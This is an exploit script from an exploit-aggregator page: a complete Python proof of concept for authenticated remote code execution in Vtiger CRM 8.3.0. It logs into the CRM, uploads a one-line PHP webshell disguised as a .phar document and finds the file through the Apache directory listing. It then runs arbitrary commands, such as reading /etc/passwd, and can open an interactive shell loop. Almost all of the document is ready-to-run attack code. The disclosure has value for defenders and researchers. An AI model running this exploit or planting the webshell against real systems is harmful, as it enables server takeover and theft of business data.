Share
## https://sploitus.com/exploit?id=PACKETSTORM:225479
#!/usr/bin/env python3
    """
    Vtiger CRM Authenticated RCE via .phar Upload
    Affected versions: Vtiger CRM 8.3.0 (fresh wizard-installed instances where
                       'phar' is absent from upload_badext in config.inc.php)
    
    Author: jiva (jivasecurity.com)
    
    Three-component exploit chain:
      1. .phar extension missing from the upload blacklist ($upload_badext in config.inc.php)
      2. storage/.htaccess uses Apache 2.2 'deny from all' syntax -- silently ignored
         on Apache 2.4 without mod_access_compat, making storage/ files web-accessible
      3. Apache directory listing enabled on /storage/ -- exposes uploaded filename,
         eliminating the only remaining obstacle (filename unpredictability)
    
    Exploit flow:
      1. Authenticate as any user with Documents module access
      2. Upload a .phar webshell via the Documents module
      3. Browse /storage/ directory listing to discover the stored filename
      4. GET the .phar file to trigger PHP execution
    
    Usage:
      python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 --port 8080
      python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 -u jsmith -p password1 --cmd whoami
      python3 Vtiger-8.3.0-RCE-PoC.py --host 192.168.6.16 --cmd 'cat /etc/passwd'
    
    Requirements:
      pip3 install requests
    """
    
    import argparse
    import datetime
    import re
    import sys
    
    import requests
    
    requests.packages.urllib3.disable_warnings()
    
    WEBSHELL = b'<?php system($_GET["cmd"]); ?>'
    
    
    def get_csrf(session, url):
        resp = session.get(url, verify=False)
        # Try JS variable first, then hidden input form
        m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
        if not m:
            m = re.search(r'name=["\']__vtrftk["\']\s+value=["\']([^"\']+)["\']', resp.text)
        if not m:
            sys.exit(f"[!] CSRF token not found at {url}")
        return m.group(1)
    
    
    def login(session, base, username, password):
        csrf = get_csrf(session, f"{base}/index.php")
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "Users",
                "action": "Login",
                "username": username,
                "password": password,
            },
            allow_redirects=True,
            verify=False,
        )
        if "logout" not in resp.text.lower():
            sys.exit("[!] Login failed โ€” check credentials and target URL")
        print(f"[+] Authenticated as {username!r}")
    
    
    def upload_webshell(session, base):
        csrf = get_csrf(session, f"{base}/index.php?module=Documents&view=Edit")
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "Documents",
                "action": "Save",
                "record": "",
                "notes_title": "report",
                "folderid": "1",
                "assigned_user_id": "1",
                "notecontent": "test",
                "filelocationtype": "I",
                "filestatus": "1",
                "fileversion": "1",
            },
            files={"filename": ("shell.phar", WEBSHELL, "application/octet-stream")},
            allow_redirects=False,
            verify=False,
        )
        if resp.status_code not in (301, 302):
            print(f"[!] Upload did not redirect (HTTP {resp.status_code})")
            print("    Possible causes:")
            print("    - 'phar' is in the upload_badext blocklist on this instance")
            print("      (applies to instances not installed via wizard, or with manual config)")
            print("    - User lacks Documents module write access")
            sys.exit(1)
        print("[+] Webshell uploaded")
    
    
    def find_shell(session, base):
        now = datetime.datetime.now()
        week = (now.day - 1) // 7 + 1
    
        # Check current week first, then adjacent weeks to handle edge cases
        candidates = [
            (now.year, now.strftime("%B"), f"week{week}"),
            (now.year, now.strftime("%B"), f"week{max(1, week - 1)}"),
        ]
    
        for year, month, week_dir in candidates:
            url = f"{base}/storage/{year}/{month}/{week_dir}/"
            resp = session.get(url, verify=False)
            if resp.status_code != 200 or "Index of" not in resp.text:
                continue
            m = re.search(r'href="(\d+_[a-f0-9]+\.phar)"', resp.text)
            if m:
                shell_url = url + m.group(1)
                print(f"[+] Shell found via directory listing: {shell_url}")
                return shell_url
    
        sys.exit(
            "[!] .phar file not found in directory listing.\n"
            "    Check that Apache directory listing is enabled on /storage/\n"
            "    and that the upload succeeded."
        )
    
    
    def execute(session, shell_url, cmd):
        resp = session.get(shell_url, params={"cmd": cmd}, verify=False)
        if resp.status_code != 200 or not resp.text.strip():
            print(f"[!] Shell returned HTTP {resp.status_code} with empty body")
            print("    The .phar file may not be executing as PHP.")
            print("    Check that mod_access_compat is NOT loaded in Apache.")
            sys.exit(1)
        return resp.text.strip()
    
    
    def main():
        ap = argparse.ArgumentParser(
            description="Vtiger CRM authenticated RCE via .phar upload",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog=(
                "Note: Exploitable on instances where 'phar' is absent from $upload_badext\n"
                "      (fresh wizard-installed instances). Requires Apache 2.4 without\n"
                "      mod_access_compat and directory listing enabled on /storage/."
            ),
        )
        ap.add_argument("--host", required=True, help="Target host")
        ap.add_argument("--port", type=int, default=8080, help="Target port (default: 8080)")
        ap.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
        ap.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
        ap.add_argument("--cmd", default="id", help="Command to execute (default: id)")
        ap.add_argument("--shell", action="store_true",
                        help="Drop to interactive shell loop after initial RCE confirmation")
        args = ap.parse_args()
    
        base = f"http://{args.host}:{args.port}"
        session = requests.Session()
        session.headers["User-Agent"] = "Mozilla/5.0"
    
        print(f"[*] Target: {base}")
        print(f"[*] Vtiger CRM .phar upload RCE")
    
        login(session, base, args.username, args.password)
        upload_webshell(session, base)
        shell_url = find_shell(session, base)
    
        output = execute(session, shell_url, args.cmd)
        print(f"\n$ {args.cmd}")
        print(output)
    
        if args.shell:
            print(f"\n[*] Interactive shell โ€” Ctrl+C to exit")
            print(f"[*] Shell URL: {shell_url}?cmd=<command>\n")
            while True:
                try:
                    cmd = input("$ ").strip()
                    if not cmd:
                        continue
                    print(execute(session, shell_url, cmd))
                except KeyboardInterrupt:
                    print("\n[*] Exiting")
                    break
    
    
    if __name__ == "__main__":
        main()